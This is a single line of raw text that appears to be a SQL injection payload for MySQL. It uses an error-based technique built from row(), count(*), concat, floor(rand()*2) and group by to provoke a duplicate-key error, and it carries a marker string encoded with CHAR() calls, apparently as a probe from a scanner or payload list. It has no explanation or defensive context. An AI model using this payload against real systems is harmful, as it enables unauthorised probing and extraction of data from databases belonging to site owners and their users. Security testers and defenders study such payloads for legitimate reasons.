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(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(103),CHAR(85),CHAR(57),CHAR(56),CHAR(55),CHAR(86),CHAR(83),CHAR(99)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))